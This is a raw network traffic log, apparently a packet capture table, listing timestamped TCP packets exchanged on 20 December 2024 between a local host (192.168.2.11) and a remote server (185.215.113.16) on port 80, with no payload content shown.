Dec 20, 2024 16:20:31.726993084 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.727821112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.727905035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.727957010 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.728733063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.728939056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.729028940 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.730000019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.730227947 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.730317116 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.730973959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.731262922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.731311083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.732146978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.732352972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.732402086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.733156919 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.733633995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.733670950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.734231949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.734756947 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.734823942 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.735379934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.735666990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.735739946 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.736469030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.736871958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.736941099 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.737598896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.737950087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.738014936 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.738691092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.738825083 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.738866091 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.739773035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.740879059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.740890980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.740962982 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.741009951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.741058111 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.742094994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.742278099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.742321014 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.743089914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.743901014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.744029999 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.744164944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.744178057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.744215012 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.745302916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.745623112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.745687008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.746361971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.747524977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.747535944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.747596979 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.747656107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.747694016 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.748599052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.749078989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.749123096 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.749707937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.749717951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.749758959 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.750829935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.750989914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.751064062 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.751909971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.752043962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.752099991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.753104925 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.753365993 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.753439903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.754147053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.754389048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.754458904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.755393028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.755407095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.755470037 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.756278992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.756364107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.756433964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.757482052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.757633924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.757693052 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.758542061 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.758673906 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.758771896 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.759627104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.759850979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.759905100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.760816097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.761132002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.761178017 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.761814117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.761950970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.762018919 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.762965918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.763070107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.763906956 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.764019966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.764735937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.764803886 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.765163898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.765408039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.765456915 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.766264915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.766561031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.766630888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.767381907 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.767515898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.767558098 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.768425941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.768701077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.768764973 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.769377947 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.769632101 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.769644976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.769723892 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.770612955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.770703077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.770761967 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.771913052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.772232056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.772275925 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.772847891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.774027109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.774070978 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.774116039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.774128914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.774190903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.775082111 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.775268078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.775330067 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.776117086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.776513100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.776561022 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.777259111 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.777582884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.777667999 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.778417110 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.778486013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.778548956 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.778938055 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.779448986 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.821886063 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.915009975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.915208101 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.915225029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.915286064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.915618896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.915673971 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.916393995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.916614056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.916670084 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.917337894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.917640924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.917697906 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.918535948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.918641090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.918736935 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.919588089 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.919708967 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.919785023 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.920607090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.920912027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.920962095 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.921766043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.921919107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.921987057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.922951937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.923465967 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.923528910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.923998117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.924134016 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.924231052 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.925035000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.925050974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.925095081 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.926265001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.926321030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.926387072 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.927299976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.927624941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.927690983 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.928422928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.928574085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.928611040 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.929455042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.929658890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.929702044 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.930629969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.930845022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.930917978 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.931823015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.931984901 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.932110071 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.932972908 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.933033943 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.933089972 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.934078932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.934367895 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.934494972 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.935384989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.935684919 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.935734034 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.936398029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.936568975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.936634064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.937427044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.937519073 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.937561035 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.938499928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.938613892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.938651085 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.939558983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.939659119 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.939719915 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.940500021 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.940543890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.940624952 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.941683054 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.942014933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.942097902 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.942720890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.943142891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.943191051 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.943841934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.944133043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.944195032 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.945101023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.945383072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.945467949 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.946103096 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.946288109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.946336985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.947077036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.947173119 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.947247982 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.948235035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.948493958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.948544979 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.949314117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.949601889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.949651957 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.950442076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.950505018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.950547934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.951658010 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.951672077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.951730967 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.952668905 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.952733040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.952833891 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.953809023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.954322100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.954364061 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.954927921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.954940081 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.954983950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.955893993 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.956223011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.956279993 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.957075119 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.957289934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.957343102 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.958236933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.958498955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.958585024 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.959333897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.960433006 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.960458040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.960479021 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.960490942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.960526943 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.960555077 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.961487055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.961752892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.961837053 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.963731050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.963745117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.963829041 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.964202881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.964215040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.964328051 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.964874029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.965151072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.965212107 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.965938091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.966233969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.966281891 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.967022896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.967035055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.967097998 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.968095064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.969141960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.969153881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.969166994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.969182014 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.969274998 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.971472979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.971483946 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.971494913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.971509933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.971541882 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.971574068 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.972567081 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.972588062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.025058031 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.106926918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.107029915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.107103109 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.107578993 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.107831955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.107978106 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.108424902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.108814955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.108892918 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.109433889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.109685898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.109730959 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.110666037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.111588001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.111603975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.111646891 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.111754894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.111860037 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.112765074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.113109112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.113209963 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.113903999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.113917112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.114015102 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.114893913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.114907026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.114996910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.115926027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.116164923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.116277933 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.117171049 CET	80	49717	185.215.113.16	192.168.2.11
